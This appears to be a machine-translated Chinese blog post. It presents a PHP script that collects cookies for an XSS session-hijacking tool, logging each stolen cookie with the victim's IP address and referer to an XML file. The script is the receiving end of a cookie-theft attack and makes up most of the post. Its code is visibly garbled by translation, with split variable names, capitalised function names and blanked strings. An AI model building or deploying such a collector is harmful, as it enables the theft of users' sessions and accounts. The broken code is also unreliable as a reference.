I write this is purely fun, no meaning, in the end is the operation of XML. The origin is still due to a few days ago Http://www.cncert.net in our mailing list released a new XSS utilization tool, similar to the foreigner's hamster, in the client timed refresh to keep session does not time out. Once accessed by a cross-site person, the attacker can remain logged on. This tool is made with. NET, and for convenience, a cookie-collecting script is required to save the cookie as an XML file. He provided an ASP program, I only have php space, so I wrote a PHP for testing.
Code:
Date_default_timezone_set ("asia/chongqing");
$my _file = "Cookie.xml";
if (! isset ($_get[x]))
{
Exit
}
$my _cookie = $_get[x];
if ($_get[x]! = "")
{
if (! file_exists ($my _file))
{
Createxmlfile ();
}
AddData ($my _cookie);
}
function Createxmlfile ()
{
Global $my _file;
$fp = fopen ($my _file, "WB");
if (! $fp)
{
Exit
}
Fwrite ($fp, " ");
Fwrite ($fp, " ");
Fwrite ($fp, " ");
Fwrite ($fp, " ");
Fwrite ($fp, " ");
Fclose ($FP);
}
function AddData ($my _cookie)
{
Global $my _file;
$doc = new DOMDocument ();
$doc->load ($my _file);
$doc->formatoutput = true;
$treeroot = $doc->getelementsbytagname ("Treeroot")->item (0);
$item = $doc->createelement ("item");
$treeroot->appendchild ($item);
if (Isset ($_server["Remote_host"))
{
$remote _host = $_server["Remote_host"];
}
ElseIf (Isset ($_server["REMOTE_ADDR"]))
{
$remote _host = $_server["REMOTE_ADDR"];
}
Else
{
$remote _host = "Notcare";
}
$title = $doc->createelement ("title", $remote _host);
$item->appendchild ($title);
if (Isset ($_server["Http_referer"))
{
$refer = $_server["Http_referer"];
}
Else
{
$refer = "http://yahoo.cn";
}
$link = $doc->createelement ("link", $refer);
$item->appendchild ($link);
$src _ip = $doc->createelement ("Src_ip", $_server["REMOTE_ADDR"]);
$item->appendchild ($src _ip);
$src _os = $doc->createelement ("Src_os", "Notcare");
$item->appendchild ($src _os);
$pubDate = $doc->createelement ("PubDate", Date ("R"));
$item->appendchild ($pubDate);
$description = $doc->createelement ("description", $my _cookie);
$item->appendchild ($description);
$doc->save ($my _file);
}
?>
http://www.bkjia.com/PHPjc/532402.html www.bkjia.com true http://www.bkjia.com/PHPjc/532402.html techarticle I write this is purely fun, no meaning, in the end is the operation of XML. The origin is still due to a few days ago Http://www.cncert.net in our mailing list released a new XS ...